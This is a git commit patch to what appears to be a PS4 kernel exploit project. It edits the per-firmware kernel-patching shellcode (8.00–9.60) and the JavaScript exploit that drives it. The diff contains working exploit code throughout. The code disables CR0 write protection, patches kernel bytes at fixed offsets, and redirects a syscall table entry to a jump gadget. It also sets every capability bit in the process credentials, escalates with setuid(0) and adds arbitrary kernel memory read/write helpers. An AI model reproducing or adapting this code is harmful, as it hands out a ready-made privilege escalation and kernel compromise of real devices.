From bcbca6a727245c017794503c1ce20c766c9d4a46 Mon Sep 17 00:00:00 2001 From: Al Azif <33132478+Al-Azif@users.noreply.github.com> Date: Tue, 3 Jun 2025 00:05:44 -0700 Subject: [PATCH] Tweaks before tackling the new ROP chains - Added read8/read16/write8/write16 functions - Simplify shellcode a little bit more - Didn't init chain before using it for setuid check --- CHANGELOG.md | 17 +++++++++++++--- src/kpatch/800.c | 31 ++++++++++++++-------------- src/kpatch/850.c | 31 ++++++++++++++-------------- src/kpatch/900.c | 31 ++++++++++++++-------------- src/kpatch/903.c | 31 ++++++++++++++-------------- src/kpatch/950.c | 31 ++++++++++++++-------------- src/kpatch/Makefile | 2 +- src/kpatch/types.h | 5 ++++- src/kpatch/utils.h | 18 +++++++++-------- src/lapse.mjs | 49 +++++++++++++++++++++++++++++++++------------ src/module/rw.mjs | 8 ++++++++ 11 files changed, 148 insertions(+), 106 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f5284c..ac18a8f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,10 +8,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), ### Added -- Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60) +- Kernel patches from pOOBs4 by @ChendoChap and ported for 8.00-9.60 + - 233 bytes to 307 bytes - Payload loader from pOOBs4 by @ChendoChap -- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm +- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by + @janisslsm - Added loading payload from file +- Added read8/read16/write8/write16 functions ### Fixed @@ -26,7 +29,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Cleanup/Linting/Tweaks/Fixes/etc - Default Prettier config w/ 999 line length - Default eslint config "problems" list trimmed down -- Reorder make_aliased_pktopts to try an reclaim memory earlier. By abc +- Reorder make_aliased_pktopts to try and reclaim memory earlier, by abc +- Simplify shellcode a little bit more + - No external headers + - Added `-fcf-protection=none` flag to skip added "endbr64" instructions + - 307 bytes to 295 bytes + - Changed `restore` and `do_patch` to be inlined + - 307 bytes to 282 bytes + - Changed to `-03` for execution speed optimization + - 282 bytes to 345 bytes ## [1.5.1] - 2025-05-12 diff --git a/src/kpatch/800.c b/src/kpatch/800.c index f393b6d..ecf3f8c 100644 --- a/src/kpatch/800.c +++ b/src/kpatch/800.c @@ -17,8 +17,6 @@ along with this program. If not, see . */ // 8.00, 8.01, 8.03 -#include - #include "types.h" #include "utils.h" @@ -31,8 +29,8 @@ struct kexec_args { u64 arg5; }; -void do_patch(void); -void restore(struct kexec_args *uap); +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { @@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) { return 0; } -void restore(struct kexec_args *uap) { +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { u8 *pipe = uap->arg1; u8 *pipebuf = uap->arg2; - for (size_t i = 0; i < 0x18; i++) { + for (int i = 0; i < 0x18; i++) { pipe[i] = pipebuf[i]; } u64 *pktinfo_field = uap->arg3; @@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) { *pktinfo_field2 = 0; } -void do_patch(void) { - // offset to fast_syscall() - const size_t off_fast_syscall = 0x1c0; - void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; disable_cr0_wp(); - // ChendoChap's patches from pOOBs4 /////////////////////////////////////// - - // Initial patches + // ChendoChap's patches from pOOBs4 write16(kbase, 0x62d254, 0x9090); // veriPatch write8(kbase, 0xacd, 0xeb); // bcopy write8(kbase, 0x25e10d, 0xeb); // bzero @@ -176,12 +174,13 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } + const u64 sysent_11_off = 0x10fc6e0; // .sy_narg = 2 - write32(kbase, 0x10fc6e0, 2); + write32(kbase, sysent_11_off, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c); + write64(kbase, sysent_11_off + 8, kbase + 0xe629c); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, 0x10fc6e0 + 0x2c, 1); + write32(kbase, sysent_11_off + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/850.c b/src/kpatch/850.c index c0420ae..7418230 100644 --- a/src/kpatch/850.c +++ b/src/kpatch/850.c @@ -17,8 +17,6 @@ along with this program. If not, see . */ // 8.50, 8.52 -#include - #include "types.h" #include "utils.h" @@ -31,8 +29,8 @@ struct kexec_args { u64 arg5; }; -void do_patch(void); -void restore(struct kexec_args *uap); +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { @@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) { return 0; } -void restore(struct kexec_args *uap) { +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { u8 *pipe = uap->arg1; u8 *pipebuf = uap->arg2; - for (size_t i = 0; i < 0x18; i++) { + for (int i = 0; i < 0x18; i++) { pipe[i] = pipebuf[i]; } u64 *pktinfo_field = uap->arg3; @@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) { *pktinfo_field2 = 0; } -void do_patch(void) { - // offset to fast_syscall() - const size_t off_fast_syscall = 0x1c0; - void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; disable_cr0_wp(); - // ChendoChap's patches from pOOBs4 /////////////////////////////////////// - - // Initial patches + // ChendoChap's patches from pOOBs4 write16(kbase, 0x624674, 0x9090); // veriPatch write8(kbase, 0xacd, 0xeb); // bcopy write8(kbase, 0x3a403d, 0xeb); // bzero @@ -176,12 +174,13 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } + const u64 sysent_11_off = 0x10fc7d0; // .sy_narg = 2 - write32(kbase, 0x10fc7d0, 2); + write32(kbase, sysent_11_off, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d); + write64(kbase, sysent_11_off + 8, kbase + 0xc810d); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, 0x10fc7d0 + 0x2c, 1); + write32(kbase, sysent_11_off + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/900.c b/src/kpatch/900.c index 41c8818..e1df750 100644 --- a/src/kpatch/900.c +++ b/src/kpatch/900.c @@ -17,8 +17,6 @@ along with this program. If not, see . */ // 9.00 -#include - #include "types.h" #include "utils.h" @@ -31,8 +29,8 @@ struct kexec_args { u64 arg5; }; -void do_patch(void); -void restore(struct kexec_args *uap); +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { @@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) { return 0; } -void restore(struct kexec_args *uap) { +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { u8 *pipe = uap->arg1; u8 *pipebuf = uap->arg2; - for (size_t i = 0; i < 0x18; i++) { + for (int i = 0; i < 0x18; i++) { pipe[i] = pipebuf[i]; } u64 *pktinfo_field = uap->arg3; @@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) { *pktinfo_field2 = 0; } -void do_patch(void) { - // offset to fast_syscall() - const size_t off_fast_syscall = 0x1c0; - void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; disable_cr0_wp(); - // ChendoChap's patches from pOOBs4 /////////////////////////////////////// - - // Initial patches + // ChendoChap's patches from pOOBs4 write16(kbase, 0x626874, 0x9090); // veriPatch write8(kbase, 0xacd, 0xeb); // bcopy write8(kbase, 0x2713fd, 0xeb); // bzero @@ -176,12 +174,13 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } + const u64 sysent_11_off = 0x1100520; // .sy_narg = 2 - write32(kbase, 0x1100520, 2); + write32(kbase, sysent_11_off, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad); + write64(kbase, sysent_11_off + 8, kbase + 0x4c7ad); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, 0x1100520 + 0x2c, 1); + write32(kbase, sysent_11_off + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/903.c b/src/kpatch/903.c index 8a32aab..12788b0 100644 --- a/src/kpatch/903.c +++ b/src/kpatch/903.c @@ -17,8 +17,6 @@ along with this program. If not, see . */ // 9.03, 9.04 -#include - #include "types.h" #include "utils.h" @@ -31,8 +29,8 @@ struct kexec_args { u64 arg5; }; -void do_patch(void); -void restore(struct kexec_args *uap); +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { @@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) { return 0; } -void restore(struct kexec_args *uap) { +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { u8 *pipe = uap->arg1; u8 *pipebuf = uap->arg2; - for (size_t i = 0; i < 0x18; i++) { + for (int i = 0; i < 0x18; i++) { pipe[i] = pipebuf[i]; } u64 *pktinfo_field = uap->arg3; @@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) { *pktinfo_field2 = 0; } -void do_patch(void) { - // offset to fast_syscall() - const size_t off_fast_syscall = 0x1c0; - void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; disable_cr0_wp(); - // ChendoChap's patches from pOOBs4 /////////////////////////////////////// - - // Initial patches + // ChendoChap's patches from pOOBs4 write16(kbase, 0x624834, 0x9090); // veriPatch write8(kbase, 0xacd, 0xeb); // bcopy write8(kbase, 0x27107d, 0xeb); // bzero @@ -176,12 +174,13 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } + const u64 sysent_11_off = 0x10fc520; // .sy_narg = 2 - write32(kbase, 0x10fc520, 2); + write32(kbase, sysent_11_off, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, 0x10fc520 + 8, kbase + 0x5325b); + write64(kbase, sysent_11_off + 8, kbase + 0x5325b); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, 0x10fc520 + 0x2c, 1); + write32(kbase, sysent_11_off + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/950.c b/src/kpatch/950.c index 47c8be0..dbcadb7 100644 --- a/src/kpatch/950.c +++ b/src/kpatch/950.c @@ -17,8 +17,6 @@ along with this program. If not, see . */ // 9.50, 9.51, 9.60 -#include - #include "types.h" #include "utils.h" @@ -31,8 +29,8 @@ struct kexec_args { u64 arg5; }; -void do_patch(void); -void restore(struct kexec_args *uap); +static inline void restore(struct kexec_args *uap); +static inline void do_patch(void); __attribute__((section (".text.start"))) int kpatch(void *td, struct kexec_args *uap) { @@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) { return 0; } -void restore(struct kexec_args *uap) { +__attribute__((always_inline)) +static inline void restore(struct kexec_args *uap) { u8 *pipe = uap->arg1; u8 *pipebuf = uap->arg2; - for (size_t i = 0; i < 0x18; i++) { + for (int i = 0; i < 0x18; i++) { pipe[i] = pipebuf[i]; } u64 *pktinfo_field = uap->arg3; @@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) { *pktinfo_field2 = 0; } -void do_patch(void) { - // offset to fast_syscall() - const size_t off_fast_syscall = 0x1c0; - void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall; +__attribute__((always_inline)) +static inline void do_patch(void) { + // get kernel base + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; disable_cr0_wp(); - // ChendoChap's patches from pOOBs4 /////////////////////////////////////// - - // Initial patches + // ChendoChap's patches from pOOBs4 write16(kbase, 0x624ae4, 0x9090); // veriPatch write8(kbase, 0xacd, 0xeb); // bcopy write8(kbase, 0x201c0d, 0xeb); // bzero @@ -176,12 +174,13 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } + const u64 sysent_11_off = 0x10f9500; // .sy_narg = 2 - write32(kbase, 0x10f9500, 2); + write32(kbase, sysent_11_off, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d); + write64(kbase, sysent_11_off + 8, kbase + 0x15a6d); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, 0x10f9500 + 0x2c, 1); + write32(kbase, sysent_11_off + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/Makefile b/src/kpatch/Makefile index 0dde27e..be622a2 100644 --- a/src/kpatch/Makefile +++ b/src/kpatch/Makefile @@ -2,7 +2,7 @@ TARGET_VERSIONS = 800 850 900 903 950 CC = gcc OBJCOPY = objcopy -CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld +CFLAGS = -O3 -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -Tscript.ld .PHONY: all ALL_SOURCES = $(TARGET_VERSIONS:%=%.c) diff --git a/src/kpatch/types.h b/src/kpatch/types.h index bcd075a..132463d 100644 --- a/src/kpatch/types.h +++ b/src/kpatch/types.h @@ -15,7 +15,8 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -#pragma once +#ifndef TYPES_H_ +#define TYPES_H_ typedef unsigned char u8; typedef unsigned short u16; @@ -26,3 +27,5 @@ typedef signed char s8; typedef signed short s16; typedef signed int s32; typedef signed long long s64; + +#endif diff --git a/src/kpatch/utils.h b/src/kpatch/utils.h index 8968ce0..dd1e5c4 100644 --- a/src/kpatch/utils.h +++ b/src/kpatch/utils.h @@ -15,14 +15,14 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -#pragma once - -#include +#ifndef UTILS_H_ +#define UTILS_H_ #include "types.h" static inline u64 rdmsr(u32 msr) { - u32 low, high; + u32 low; + u32 high; asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr)); return (low | ((u64)high << 32)); @@ -44,18 +44,20 @@ static inline void disable_cr0_wp(void) { ::: "rax"); } -static inline void write8(void *addr, size_t offset, u8 value) { +static inline void write8(void *addr, u64 offset, u8 value) { *(u8 *)(addr + offset) = value; } -static inline void write16(void *addr, size_t offset, u16 value) { +static inline void write16(void *addr, u64 offset, u16 value) { *(u16 *)(addr + offset) = value; } -static inline void write32(void *addr, size_t offset, u32 value) { +static inline void write32(void *addr, u64 offset, u32 value) { *(u32 *)(addr + offset) = value; } -static inline void write64(void *addr, size_t offset, u64 value) { +static inline void write64(void *addr, u64 offset, u64 value) { *(u64 *)(addr + offset) = value; } + +#endif diff --git a/src/lapse.mjs b/src/lapse.mjs index 57e3c18..421f10f 100644 --- a/src/lapse.mjs +++ b/src/lapse.mjs @@ -1408,6 +1408,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); } + read8(addr) { + this._read(addr); + return this.rw_buf.read8(0); + } + + read16(addr) { + this._read(addr); + return this.rw_buf.read16(0); + } + read32(addr) { this._read(addr); return this.rw_buf.read32(0); @@ -1418,6 +1428,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { return this.rw_buf.read64(0); } + write8(addr, value) { + this.rw_buf.write8(0, value); + this.copyin(this.rw_buf.addr, addr, 1); + } + + write16(addr, value) { + this.rw_buf.write16(0, value); + this.copyin(this.rw_buf.addr, addr, 2); + } + write32(addr, value) { this.rw_buf.write32(0, value); this.copyin(this.rw_buf.addr, addr, 4); @@ -1470,6 +1490,9 @@ async function get_binary(url) { return response.arrayBuffer(); } +// Using JIT to load our own shellcode code here avoids the need to preform +// some trick toggle the CR0 Protection Mode bit. We can just toggle it easily +// within our shellcode. async function patch_kernel(kbase, kmem, p_ucred, restore_info) { if (!is_ps4) { throw RangeError("ps5 kernel patching unsupported"); @@ -1492,12 +1515,12 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { // .sy_thrcnt = SY_THR_STATIC kmem.write32(sysent_661.add(0x2c), 1); - log("add JIT capabilities"); + log("set the bits for JIT privs"); // TODO: Just set the bits for JIT privs - // cr_sceCaps[0] - kmem.write64(p_ucred.add(0x60), -1); - // cr_sceCaps[1] - kmem.write64(p_ucred.add(0x68), -1); + // cr_sceCaps[0] // 0x2000038000000000 + kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff + // cr_sceCaps[1] // 0x800000000000ff00 + kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff const buf = await get_binary(patch_elf_loc); const patches = new View1(await buf); @@ -1558,10 +1581,10 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) { sysi("setuid", 0); log("kernel exploit succeeded!"); - kmem.write32(sysent_661, sy_narg); - kmem.write64(sysent_661.add(8), sy_call); kmem.write32(sysent_661.add(0x2c), sy_thrcnt); - log("restored dsys_aio_submit()"); + kmem.write64(sysent_661.add(8), sy_call); + kmem.write32(sysent_661, sy_narg); + log("restored sys_aio_submit()"); } // FUNCTIONS FOR STAGE: SETUP @@ -1605,6 +1628,10 @@ function setup(block_fd) { // // the exploit implementation also assumes that we are pinned to one core export async function kexploit() { + const _init_t1 = performance.now(); + await init(); + const _init_t2 = performance.now(); + // If setuid is successful, we dont need to run the kernel exploit again try { if (sysi("setuid", 0) == 0) { @@ -1615,10 +1642,6 @@ export async function kexploit() { // Expected when not in an exploited state } - const _init_t1 = performance.now(); - await init(); - const _init_t2 = performance.now(); - // fun fact: // if the first thing you do since boot is run the web browser, WebKit can // use all the cores @@ -1823,7 +1846,7 @@ function runPayload(path) { } catch (e) { log(`error in runPayload: ${e.message}`); } - } else if (xhr.status >= 400 && xhr.status < 600) { + } else { log(`error retrieving payload, ${xhr.status}`); } } diff --git a/src/module/rw.mjs b/src/module/rw.mjs index 353a5f7..456c951 100644 --- a/src/module/rw.mjs +++ b/src/module/rw.mjs @@ -32,6 +32,10 @@ export class BufferView extends Uint8Array { this._dview = new DataView(this.buffer, this.byteOffset); } + read8(offset) { + return this._dview.getUint8(offset); + } + read16(offset) { return this._dview.getUint16(offset, true); } @@ -44,6 +48,10 @@ export class BufferView extends Uint8Array { return new Int(this._dview.getUint32(offset, true), this._dview.getUint32(offset + 4, true)); } + write8(offset, value) { + this._dview.setUint8(offset, value); + } + write16(offset, value) { this._dview.setUint16(offset, value, true); }